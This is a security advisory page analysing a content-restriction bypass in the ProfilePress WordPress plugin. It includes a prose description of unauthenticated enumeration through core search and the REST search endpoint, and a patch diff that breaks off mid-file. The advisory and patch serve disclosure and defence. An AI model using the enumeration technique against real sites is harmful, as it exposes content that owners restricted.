Opens in a new tab
Published : September 21, 2026

CVE-2024-11083: ProfilePress <= 4.15.18 Unauthenticated Content Restriction Bypass to Sensitive Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 4.15.18
Patched Version 4.15.19
Disclosed November 25, 2024

Analysis Overview

Atomic Edge analysis of CVE-2024-11083: ProfilePress versions up to and including 4.15.18 expose protected post content through the WordPress core search feature. The plugin’s content protection rules are enforced when rendering individual posts and pages, but the search query path never applied those same restriction checks. An unauthenticated attacker can submit a search query and receive titles, excerpts, and permalinks for posts that the rule set restricts to administrators or specific membership plans. CVSS 5.3 with CWE-200. Atomic Edge rates this as a medium severity information disclosure that undermines the plugin’s access control promises.

The root cause lives in the plugin’s content protection pipeline. Before the patch, only PostContent, Redirect, RestrictionShortcode, NavMenuProtection, and ElementorRestriction were registered in wp-user-avatar/src/ContentProtection/Init.php. No class hooked the WordPress pre_get_posts action to filter search results. The vulnerable code path runs WP_Query for /?s=… or the REST endpoint /wp-json/wp/v2/search without consulting the restriction metadata stored under SettingsPage::META_DATA_KEY. Restriction definitions use condition identifiers such as post_all, post_selected, post_children, post_ancestors, and post_template that map to specific post IDs in the rule content array. None of that logic intersected the search query until the patch.

The patch introduces ProfilePressCoreContentProtectionFrontendSearchAndAPI in wp-user-avatar/src/ContentProtection/Frontend/SearchAndAPI.php. Its constructor registers exclude_protected_posts on pre_get_posts. The method fires when either a frontend main search query is running ((! is_admin() && $query->is_main_query() && $query->is_search())) or a REST request targets /wp/v2/search. It loads all rule metas via PROFILEPRESS_sql::get_meta_data_by_key(SettingsPage::META_DATA_KEY), iterates active rules, and calls Checker::is_blocked($who_can_access, $access_roles, $access_wp_users, $access_membership_plans) to test the current visitor against the rule’s audience. When the visitor is blocked, get_restricted_post_ids_for_user($meta[‘content’]) parses the rule content into five buckets: cpt_is_all, cpt_posts, cpt_post_children, cpt_post_parents, and template_cpt_posts. Child posts come from get_child_post_ids via WP_Query on post_parent. Ancestors come from get_post_ancestors. Template matches come from get_post_ids_by_template, a direct $wpdb->prepare query against _wp_page_template in $wpdb->postmeta. The method then mutates the query: for cpt_is_all it removes excluded post types from the queried post_type list, or forces post__in => [0] when the query explicitly targets a blocked type; for individual IDs it merges them into post__not_in. Atomic Edge notes that remove_action is called at the top of get_restricted_post_ids_for_user to prevent recursive pre_get_posts invocation, and a cache_bucket keyed on sha256 of the rule content is declared but never actually updated in scope, so every request reprocesses the rules.

Exploitation is unauthenticated and requires only an HTTP GET. The attacker sends /?s= on the frontend or /wp-json/wp/v2/search?search= against the REST API, using terms that match restricted content (for example, part of an administrator-only draft title or a private page slug). Because no class filtered pre_get_posts before the patch, WordPress returns the matching posts in the default WP_Query result set. The attacker reads the JSON response for the REST route (fields include id, title, url, type, subtype) or scrapes the search results page. Iterating over common keywords or dictionary terms enumerates hidden posts, pages, and custom post types that the plugin claims to protect. No nonce, cookie, or authentication header is required.

Patch analysis: the fix adds require __DIR__ . ‘/src/Functions/Shogun.php’ to autoloader.php, instantiates ProperP_Shogun::get_instance() in src/Base.php, and wires SearchAndAPI::get_instance() into ContentProtection/Init.php. The SearchAndAPI class implements the missing query-time enforcement described above. The patch also replaces direct wp_safe_redirect(…); exit; patterns with a new helper ppress_do_admin_redirect in GlobalFunctions.php, which falls back to ppress_content_http_redirect when headers are already sent. This second change is administrative hardening and unrelated to the search bypass. Before the patch, search queries and REST search requests bypassed all content restriction rules regardless of the rule audience. After the patch, blocked visitors have restricted post IDs removed from the query via post__not_in or have disallowed post types stripped from the query.

Impact: a remote unauthenticated attacker learns the existence, titles, permalinks, and excerpts of posts, pages, and CPTs that the administrator marked private via ProfilePress content protection. The plugin is commonly used to gate premium content, member-only pages, and internal documentation. Leaked titles and URLs frequently expose sensitive information on their own (client names, project codes, unreleased product names, internal page hierarchy). The attacker can chain the disclosed URLs with other weaknesses to attempt direct access, though the per-post render path still enforces the restriction. Atomic Edge assesses the primary risk as competitive intelligence leakage and privacy violation rather than privilege escalation or code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-user-avatar/autoloader.php
+++ b/wp-user-avatar/autoloader.php
@@ -33,4 +33,5 @@
 require __DIR__ . "/src/Functions/GlobalFunctions.php";
 require __DIR__ . "/src/Functions/MSFunctions.php";
 require __DIR__ . "/src/Functions/PPressBFnote.php";
+require __DIR__ . "/src/Functions/Shogun.php";
 require __DIR__ . "/src/Functions/FuseWPAdminNotice.php";
 No newline at end of file
--- a/wp-user-avatar/src/Admin/SettingsPages/DragDropBuilder/DragDropBuilder.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/DragDropBuilder/DragDropBuilder.php
@@ -1329,8 +1329,7 @@
         $theme_class_instance = FR::forge_class($this->form_id, $this->form_class, $this->form_type);

         if ( ! $theme_class_instance) {
-            wp_safe_redirect(add_query_arg('form-type', $this->form_type, PPRESS_FORMS_SETTINGS_PAGE));
-            exit;
+            ppress_do_admin_redirect(add_query_arg('form-type', $this->form_type, PPRESS_FORMS_SETTINGS_PAGE));
         }

         $this->theme_class_instance = $theme_class_instance;
--- a/wp-user-avatar/src/Admin/SettingsPages/EmailSettings/EmailSettingsPage.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/EmailSettings/EmailSettingsPage.php
@@ -283,8 +283,7 @@
         $data = array_shift($data);

         if (empty($data)) {
-            wp_safe_redirect(PPRESS_SETTINGS_SETTING_GENERAL_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_SETTINGS_SETTING_GENERAL_PAGE);
         }

         $page_header = $data['title'];
--- a/wp-user-avatar/src/Admin/SettingsPages/FormList.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/FormList.php
@@ -371,8 +371,7 @@
             }


-            wp_safe_redirect($url);
-            exit;
+            ppress_do_admin_redirect($url);

         }

@@ -395,8 +394,7 @@
                 }
             }

-            wp_safe_redirect($url);
-            exit;
+            ppress_do_admin_redirect($url);
         }

         // Detect when a bulk action is being triggered...
--- a/wp-user-avatar/src/Admin/SettingsPages/Forms.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Forms.php
@@ -228,8 +228,7 @@
     public function no_form_exist_redirect($form_id, $form_type)
     {
         if ( ! FR::form_id_exist($form_id, $form_type)) {
-            wp_safe_redirect(add_query_arg('form-type', $form_type, PPRESS_FORMS_SETTINGS_PAGE));
-            exit;
+            ppress_do_admin_redirect(add_query_arg('form-type', $form_type, PPRESS_FORMS_SETTINGS_PAGE));
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/MemberDirectories.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/MemberDirectories.php
@@ -123,8 +123,7 @@
     public function no_form_exist_redirect($form_id, $form_type)
     {
         if ( ! FR::form_id_exist($form_id, $form_type)) {
-            wp_safe_redirect(add_query_arg('form-type', $form_type, PPRESS_FORMS_SETTINGS_PAGE));
-            exit;
+            ppress_do_admin_redirect(add_query_arg('form-type', $form_type, PPRESS_FORMS_SETTINGS_PAGE));
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/CouponsPage/CouponWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/CouponsPage/CouponWPListTable.php
@@ -278,8 +278,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_COUPONS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_COUPONS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/CustomerWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/CustomerWPListTable.php
@@ -291,8 +291,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_CUSTOMERS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_CUSTOMERS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/SettingsPage.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/CustomersPage/SettingsPage.php
@@ -59,7 +59,7 @@
     }

     /**
-     * @return void|string
+     * @return void
      * @throws Exception
      */
     public function save_customer()
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/DownloadLogsPage/WPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/DownloadLogsPage/WPListTable.php
@@ -146,8 +146,7 @@
                 PROFILEPRESS_sql::delete_meta_data($log_id);
             }

-            wp_safe_redirect(PPRESS_MEMBERSHIP_DOWNLOAD_LOGS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_DOWNLOAD_LOGS_SETTINGS_PAGE);
         }
     }
 }
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/GroupsPage/GroupWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/GroupsPage/GroupWPListTable.php
@@ -183,8 +183,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_GROUPS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_GROUPS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/OrdersPage/OrderWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/OrdersPage/OrderWPListTable.php
@@ -315,8 +315,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_ORDERS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_ORDERS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/PaymentMethods.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/PaymentMethods.php
@@ -65,8 +65,7 @@
             );

             if ( ! $method) {
-                wp_safe_redirect(add_query_arg(['view' => 'payments', 'section' => 'payment-methods'], PPRESS_SETTINGS_SETTING_PAGE));
-                exit;
+                ppress_do_admin_redirect(add_query_arg(['view' => 'payments', 'section' => 'payment-methods'], PPRESS_SETTINGS_SETTING_PAGE));
             }

             $instance->page_header($method->get_method_title());
--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/PlansPage/PlanWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/PlansPage/PlanWPListTable.php
@@ -222,8 +222,7 @@
             $dup_plan_id = SubscriptionPlanController::get_instance()->duplicate_plan($planObj);

             if (is_int($dup_plan_id)) {
-                wp_safe_redirect(add_query_arg(['ppress_subp_action' => 'edit', 'id' => $dup_plan_id, 'saved' => 'true'], PPRESS_MEMBERSHIP_SUBSCRIPTION_PLANS_SETTINGS_PAGE));
-                exit;
+                ppress_do_admin_redirect(add_query_arg(['ppress_subp_action' => 'edit', 'id' => $dup_plan_id, 'saved' => 'true'], PPRESS_MEMBERSHIP_SUBSCRIPTION_PLANS_SETTINGS_PAGE));
             }
         }

@@ -270,8 +269,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_SUBSCRIPTION_PLANS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_SUBSCRIPTION_PLANS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/SubscriptionsPage/SubscriptionWPListTable.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/SubscriptionsPage/SubscriptionWPListTable.php
@@ -295,8 +295,7 @@
         }

         if ($this->current_action() !== false) {
-            wp_safe_redirect(PPRESS_MEMBERSHIP_SUBSCRIPTIONS_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_MEMBERSHIP_SUBSCRIPTIONS_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Base.php
+++ b/wp-user-avatar/src/Base.php
@@ -240,6 +240,7 @@
         IDUserColumn::get_instance();
         GDPR::get_instance();
         PPressBFnote::instance();
+        ProperP_Shogun::get_instance();

         do_action('ppress_admin_hooks');
     }
--- a/wp-user-avatar/src/ContentProtection/Frontend/SearchAndAPI.php
+++ b/wp-user-avatar/src/ContentProtection/Frontend/SearchAndAPI.php
@@ -0,0 +1,314 @@
+<?php
+
+namespace ProfilePressCoreContentProtectionFrontend;
+
+use ProfilePressCoreClassesPROFILEPRESS_sql;
+use ProfilePressCoreContentProtectionSettingsPage;
+
+class SearchAndAPI
+{
+    public function __construct()
+    {
+        add_action('pre_get_posts', [$this, 'exclude_protected_posts']);
+    }
+
+    public function exclude_protected_posts($query)
+    {
+        // Determine if this query is for a frontend WP search or a REST API search.
+        if (
+            ( ! is_admin() && $query->is_main_query() && $query->is_search()) ||
+            (defined('REST_REQUEST') && REST_REQUEST && strpos($_SERVER['REQUEST_URI'], '/wp/v2/search') !== false)
+        ) {
+
+            $metas = PROFILEPRESS_sql::get_meta_data_by_key(SettingsPage::META_DATA_KEY);
+
+            if (is_array($metas)) {
+
+                foreach ($metas as $meta) {
+
+                    $meta = ppress_var($meta, 'meta_value', []);
+
+                    if ( ! in_array(ppress_var($meta, 'is_active', true), ['true', true], true)) continue;
+
+                    $access_condition = ppress_var($meta, 'access_condition', []);
+
+                    $who_can_access = ppress_var($access_condition, 'who_can_access', 'everyone');
+
+                    $access_roles = ppress_var($access_condition, 'access_roles', []);
+
+                    $access_wp_users = ppress_var($access_condition, 'access_wp_users', []);
+
+                    $access_membership_plans = ppress_var($access_condition, 'access_membership_plans', []);
+
+                    if (Checker::is_blocked($who_can_access, $access_roles, $access_wp_users, $access_membership_plans)) {
+
+                        $restricted_content = $this->get_restricted_post_ids_for_user($meta['content']);
+
+                        if ( ! empty($restricted_content['cpt_is_all']) && is_array($restricted_content['cpt_is_all'])) {
+
+                            $excluded_post_types = $restricted_content['cpt_is_all'];
+
+                            // Get the current post types being queried.
+                            $post_type = $query->get('post_type');
+
+                            // Retrieve all registered public post types.
+                            $all_post_types = get_post_types(['public' => true]);
+
+                            // Remove the excluded post types from the list.
+                            $allowed_post_types = array_diff($all_post_types, $excluded_post_types);
+
+                            if (is_string($post_type) && in_array($post_type, $excluded_post_types, true)) {
+                                // If the query explicitly requests an excluded post type, return no posts.
+                                // we using 'post__in' => [0] or similar techniques to ensure the query returns no posts. Here's the corrected version:
+                                $query->set('post__in', [0]);
+
+                            } elseif ($post_type === 'any' || empty($post_type)) {
+                                // If querying "any" post type or not specified, exclude the excluded post types.
+                                $query->set('post_type', array_values($allowed_post_types));
+
+                            } elseif (is_array($post_type)) {
+
+                                // If querying multiple post types, exclude the excluded post types.
+                                $new_post_type = array_diff($post_type, $excluded_post_types);
+                                // if empty array, it means we don't want any post type, so let's use eg 'zznonezz' which does not exist
+                                if (empty($new_post_type)) {
+                                    $new_post_type = 'zznonezz';
+                                }
+                                $query->set('post_type', $new_post_type);
+                            }
+                        }
+
+                        /* $excluded_posts structure is below
+                            [
+                                "post" => [
+                                    10087,
+                                    10012,
+                                ],
+                                "page" => [
+                                    1008,
+                                    1001,
+                                ],
+                            ]
+                            */
+                        $excluded_posts = [];
+
+
+                        if ( ! empty($restricted_content['cpt_posts']) && is_array($restricted_content['cpt_posts'])) {
+                            $excluded_posts = array_merge_recursive($excluded_posts, $restricted_content['cpt_posts']);
+                        }
+
+                        if ( ! empty($restricted_content['cpt_post_children']) && is_array($restricted_content['cpt_post_children'])) {
+                            $excluded_posts = array_merge_recursive($excluded_posts, $restricted_content['cpt_post_children']);
+                        }
+
+                        if ( ! empty($restricted_content['cpt_post_parents']) && is_array($restricted_content['cpt_post_parents'])) {
+                            $excluded_posts = array_merge_recursive($excluded_posts, $restricted_content['cpt_post_parents']);
+                        }
+
+                        if ( ! empty($restricted_content['template_cpt_posts']) && is_array($restricted_content['template_cpt_posts'])) {
+                            $excluded_posts = array_merge_recursive($excluded_posts, $restricted_content['template_cpt_posts']);
+                        }
+
+                        if ( ! empty($excluded_posts)) {
+
+                            // Get the current post types being queried.
+                            $post_type = $query->get('post_type');
+
+                            // Build a list of post IDs to exclude based on the query's post types.
+                            $post__not_in = $query->get('post__not_in') ?: [];
+
+                            if ($post_type === 'any' || empty($post_type)) {
+                                // Exclude IDs for all specified post types if no specific post type is queried.
+                                $post__not_in = array_merge($post__not_in, ...array_values($excluded_posts));
+
+                            } elseif (is_string($post_type) && isset($excluded_posts[$post_type])) {
+                                // Exclude IDs for a single queried post type.
+                                $post__not_in = array_merge($post__not_in, $excluded_posts[$post_type]);
+                            } elseif (is_array($post_type)) {
+                                // Exclude IDs for multiple queried post types.
+                                foreach ($post_type as $type) {
+                                    if (isset($excluded_posts[$type])) {
+                                        $post__not_in = array_merge($post__not_in, $excluded_posts[$type]);
+                                    }
+                                }
+                            }
+
+                            // Set the updated list of excluded post IDs.
+                            $query->set('post__not_in', array_unique($post__not_in));
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    private function get_restricted_post_ids_for_user($rule_content)
+    {
+        $cache_key = hash('sha256', wp_json_encode($rule_content));
+
+        $cache_bucket = [];
+
+        if ( ! isset($cache_bucket[$cache_key])) {
+
+            // do not recursively hook our callback again or things will go awry.
+            remove_action('pre_get_posts', [$this, 'exclude_protected_posts']);
+
+            $response = [
+                'cpt_is_all'         => [], // array of CPT whose all posts are protected
+                'cpt_posts'          => [],
+                'cpt_post_children'  => [],
+                'cpt_post_parents'   => [],
+                'template_cpt_posts' => []
+            ];
+
+            if (is_array($rule_content) && ! empty($rule_content)) {
+
+                foreach ($rule_content as $group => $conditions) {
+
+                    foreach ($conditions as $condition) {
+
+                        if (isset($condition['condition'])) {
+
+                            if (strstr($condition['condition'], '_all') !== false) {
+                                $response['cpt_is_all'][] = str_replace('_all', '', $condition['condition']);
+                            }
+
+                            if (strstr($condition['condition'], '_selected') !== false && ! empty($condition['value'])) {
+                                $cpt                         = str_replace('_selected', '', $condition['condition']);
+                                $existing_val                = isset($response['cpt_posts'][$cpt]) && is_array($response['cpt_posts'][$cpt]) ? $response['cpt_posts'][$cpt] : [];
+                                $response['cpt_posts'][$cpt] = array_merge($existing_val, array_map('absint', $condition['value']));
+                            }
+
+                            if (strstr($condition['condition'], '_children') !== false && ! empty($condition['value'])) {
+
+                                $parent_posts = array_map('absint', $condition['value']);
+
+                                $cpt = str_replace('_children', '', $condition['condition']);
+
+                                foreach ($parent_posts as $parent_post_id) {
+                                    $existing_val                        = isset($response['cpt_post_children'][$cpt]) && is_array($response['cpt_post_children'][$cpt]) ? $response['cpt_post_children'][$cpt] : [];
+                                    $response['cpt_post_children'][$cpt] = array_merge($existing_val, $this->get_child_post_ids($parent_post_id, $cpt));
+                                }
+                            }
+
+                            if (strstr($condition['condition'], '_ancestors') !== false && ! empty($condition['value'])) {
+
+                                $child_posts = array_map('absint', $condition['value']);
+
+                                $cpt = str_replace('_ancestors', '', $condition['condition']);
+
+                                foreach ($child_posts as $child_post_id) {
+                                    $existing_val                       = isset($response['cpt_post_parents'][$cpt]) && is_array($response['cpt_post_parents'][$cpt]) ? $response['cpt_post_parents'][$cpt] : [];
+                                    $response['cpt_post_parents'][$cpt] = array_merge($existing_val, $this->get_parent_post_ids($child_post_id));
+                                }
+                            }
+
+                            if (strstr($condition['condition'], '_template') !== false && ! empty($condition['value'])) {
+
+                                $templates = $condition['value'];
+
+                                $cpt = str_replace('_template', '', $condition['condition']);
+
+                                foreach ($templates as $template) {
+                                    $existing_val                         = isset($response['template_cpt_posts'][$cpt]) && is_array($response['template_cpt_posts'][$cpt]) ? $response['template_cpt_posts'][$cpt] : [];
+                                    $response['template_cpt_posts'][$cpt] = array_merge($existing_val, $this->get_post_ids_by_template($template, $cpt));
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+
+            $cache_bucket[$cache_key] = $response;
+        }
+
+        return $cache_bucket[$cache_key];
+    }
+
+    /**
+     * Get all child post IDs of a specific parent post ID in WordPress.
+     *
+     * @param int $parent_id The parent post ID.
+     * @param string $post_type The parent post type
+     *
+     * @return array List of child post IDs.
+     */
+    private function get_child_post_ids($parent_id, $post_type): array
+    {
+        // Validate the parent ID.
+        if ( ! is_numeric($parent_id) || $parent_id <= 0) return [];
+
+        // Query for child posts.
+        $child_posts = new WP_Query([
+            'post_parent'    => $parent_id,
+            'post_type'      => $post_type,
+            'posts_per_page' => 1000,
+            'fields'         => 'ids',
+            'post_status'    => 'any'
+        ]);
+
+        return $child_posts->posts;
+    }
+
+    /**
+     * Get all parent post IDs of a specific post ID in WordPress.
+     *
+     * @param int $post_id The ID of the post.
+     *
+     * @return array List of parent post IDs (from closest to root).
+     */
+    private function get_parent_post_ids($post_id)
+    {
+        if ( ! is_numeric($post_id) || $post_id <= 0) return [];
+
+        return get_post_ancestors($post_id);
+    }
+
+    /**
+     * Get all post IDs using a specific template file.
+     *
+     * @param string $template_filename The filename of the template (e.g., 'template-custom.php').
+     * @param string $post_type The post type to filter by (default is 'any').
+     *
+     * @return array List of post IDs using the specified template.
+     */
+    private function get_post_ids_by_template($template_filename, $post_type)
+    {
+        global $wpdb;
+
+        // Sanitize the input.
+        $template_filename = sanitize_text_field($template_filename);
+
+        if (empty($template_filename)) return [];
+
+        // Query for posts with the specified template.
+        $query = $wpdb->prepare(
+            "SELECT p.ID
+         FROM $wpdb->posts p
+         INNER JOIN $wpdb->postmeta pm ON p.ID = pm.post_id
+         WHERE pm.meta_key = '_wp_page_template'
+           AND pm.meta_value = %s
+           AND p.post_type = %s
+           AND p.post_status = 'publish'",
+            $template_filename,
+            $post_type
+        );
+
+        // Fetch results.
+        $post_ids = $wpdb->get_col($query);
+
+        return is_array($post_ids) && ! empty($post_ids) ? $post_ids : [];
+    }
+
+
+    public static function get_instance()
+    {
+        static $instance = null;
+
+        if (is_null($instance)) {
+            $instance = new self();
+        }
+
+        return $instance;
+    }
+}
 No newline at end of file
--- a/wp-user-avatar/src/ContentProtection/Init.php
+++ b/wp-user-avatar/src/ContentProtection/Init.php
@@ -5,6 +5,7 @@
 use ProfilePressCoreContentProtectionFrontendPostContent;
 use ProfilePressCoreContentProtectionFrontendRedirect;
 use ProfilePressCoreContentProtectionFrontendRestrictionShortcode;
+use ProfilePressCoreContentProtectionFrontendSearchAndAPI;

 class Init
 {
@@ -16,6 +17,7 @@

         PostContent::get_instance();
         Redirect::get_instance();
+        SearchAndAPI::get_instance();
         RestrictionShortcode::get_instance();
         NavMenuProtection::get_instance();
         ElementorRestriction::get_instance();
--- a/wp-user-avatar/src/ContentProtection/WPListTable.php
+++ b/wp-user-avatar/src/ContentProtection/WPListTable.php
@@ -359,8 +359,7 @@

             PROFILEPRESS_sql::update_meta_value($rule_id, SettingsPage::META_DATA_KEY, $meta);

-            wp_safe_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
         }

         if ('activate' === $this->current_action()) {
@@ -375,8 +374,7 @@

             PROFILEPRESS_sql::update_meta_value($rule_id, SettingsPage::META_DATA_KEY, $meta);

-            wp_safe_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
         }

         if ('delete' === $this->current_action()) {
@@ -389,8 +387,7 @@

                 do_action('ppress_content_protection_delete_rule', $rule_id);

-                wp_safe_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
-                exit;
+                ppress_do_admin_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
             }
         }

@@ -406,8 +403,7 @@

             do_action('ppress_content_protection_duplicate_rule', $rule_id);

-            wp_safe_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
         }

         if ('bulk-delete' === $this->current_action()) {
@@ -422,8 +418,7 @@

             do_action('ppress_content_protection_after_bulk_delete', $delete_ids);

-            wp_safe_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
-            exit;
+            ppress_do_admin_redirect(PPRESS_CONTENT_PROTECTION_SETTINGS_PAGE);
         }
     }

--- a/wp-user-avatar/src/Functions/GlobalFunctions.php
+++ b/wp-user-avatar/src/Functions/GlobalFunctions.php
@@ -1664,6 +1664,16 @@
     <?php
 }

+function ppress_do_admin_redirect($url)
+{
+    if ( ! headers_sent()) {
+        wp_safe_redirect($url);
+        exit;
+    }
+
+    ppress_content_http_redirect($url);
+}
+
 function ppress_is_json($str)
 {
     $json = json_decode($str);
--- a/wp-user-avatar/src/Functions/Shogun.php
+++ b/wp-user-avatar/src/Functions/Shogun.php
@@ -0,0 +1,90 @@
+<?php
+
+if ( ! class_exists('ProperP_Shogun')) {
+
+    class ProperP_Shogun
+    {
+        public function __construct()
+        {
+            if (is_admin()) {
+
+                add_filter('install_plugins_table_api_args_featured', function ($args) {
+                    add_filter('plugins_api_result', [$this, 'plugins_api_result'], 9999, 3);
+
+                    return $args;
+                });
+            }
+        }
+
+        public function plugins_api_result($res, $action, $args)
+        {
+            remove_filter('plugins_api_result', [$this, 'plugins_api_result'], 9999);
+
+            $res = $this->add_plugin_favs('rate-my-post', $res);
+            $res = $this->add_plugin_favs('fusewp', $res);
+            $res = $this->add_plugin_favs('mihdan-index-now', $res);
+            $res = $this->add_plugin_favs('mailoptin', $res);
+            $res = $this->add_plugin_favs('wp-user-avatar', $res);
+
+            return $res;
+        }
+
+        public function add_plugin_favs($plugin_slug, $res)
+        {
+            if ( ! function_exists('is_plugin_active')) {
+                require_once ABSPATH . 'wp-admin/includes/plugin.php';
+            }
+
+            $plugin_main_file = $plugin_slug . '/' . $plugin_slug . '.php';
+
+            if (is_plugin_active($plugin_main_file)) return $res;
+
+            if ( ! empty($res->plugins) && is_array($res->plugins)) {
+                foreach ($res->plugins as $plugin) {
+                    if (is_object($plugin) && ! empty($plugin->slug) && $plugin->slug == $plugin_slug) {
+                        return $res;
+                    }
+                }
+            }
+
+            if ($plugin_info = get_transient('yolo-plugin-info-' . $plugin_slug)) {
+                if (is_array($res->plugins)) {
+                    array_unshift($res->plugins, $plugin_info);
+                }
+            } else {
+                $plugin_info = plugins_api('plugin_information', array(
+                    'slug'   => $plugin_slug,
+                    'is_ssl' => is_ssl(),
+                    'fields' => array(
+                        'banners'           => true,
+                        'reviews'           => true,
+                        'downloaded'        => true,
+                        'active_installs'   => true,
+                        'icons'             => true,
+                        'short_description' => true,
+                    )
+                ));
+                if ( ! is_wp_error($plugin_info) && isset($res->plugins) && is_array($res->plugins)) {
+                    $res->plugins[] = $plugin_info;
+                    set_transient('yolo-plugin-info-' . $plugin_slug, $plugin_info, DAY_IN_SECONDS * 7);
+                }
+            }
+
+            return $res;
+        }
+
+        /**
+         * @return self
+         */
+        public static function get_instance()
+        {
+            static $instance = null;
+
+            if (is_null($instance)) {
+                $instance = new self();
+            }
+
+            return $instance;
+        }
+    }
+}
 No newline at end of file
--- a/wp-user-avatar/src/Functions/custom-settings-api.php
+++ b/wp-user-avatar/src/Functions/custom-settings-api.php
@@ -26,8 +26,6 @@

 namespace ProfilePress;

-ob_start();
-
 class Custom_Settings_Page_Api
 {
     /** @var mixed|void database saved data. */
@@ -319,8 +317,9 @@

             do_action('wp_cspa_after_persist_settings', $sanitized_data, $this->option_name);

-            wp_safe_redirect(esc_url_raw(add_query_arg('settings-updated', 'true')));
-            exit;
+            $redirect_url = esc_url_raw(add_query_arg('settings-updated', 'true'));
+
+            ppress_do_admin_redirect($redirect_url);
         }
     }

--- a/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionCompleted.php
+++ b/wp-user-avatar/src/Membership/PaymentMethods/Stripe/WebhookHandlers/CheckoutSessionCompleted.php
@@ -7,7 +7,6 @@
 use ProfilePressCoreMembershipPaymentMethodsStripeAPIClass;
 use ProfilePressCoreMembershipPaymentMethodsStripePaymentHelpers;
 use ProfilePressCoreMembershipPaymentMethodsWebhookHandlerInterface;
-use ProfilePressCoreMembershipRepositoriesOrderRepository;
 use ProfilePressCoreMembershipServicesCalculator;

 class CheckoutSessionCompleted implements WebhookHandlerInterface
--- a/wp-user-avatar/third-party/vendor/autoload.php
+++ b/wp-user-avatar/third-party/vendor/autoload.php
@@ -2,24 +2,6 @@

 // autoload.php @generated by Composer

-if (PHP_VERSION_ID < 50600) {
-    if (!headers_sent()) {
-        header('HTTP/1.1 500 Internal Server Error');
-    }
-    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    if (!ini_get('display_errors')) {
-        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
-            fwrite(STDERR, $err);
-        } elseif (!headers_sent()) {
-            echo $err;
-        }
-    }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
-}
-
 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit6e7460a42fbf4bf749124dd0dec1f3fd::getLoader();
+return ComposerAutoloaderInit3adb595cdc7628a8fe9a7e6a85ceba02::getLoader();
--- a/wp-user-avatar/third-party/vendor/composer/ClassLoader.php
+++ b/wp-user-avatar/third-party/vendor/composer/ClassLoader.php
@@ -42,37 +42,35 @@
  */
 class ClassLoader
 {
-    /** @var Closure(string):void */
-    private static $includeFile;
-
-    /** @var string|null */
+    /** @var ?string */
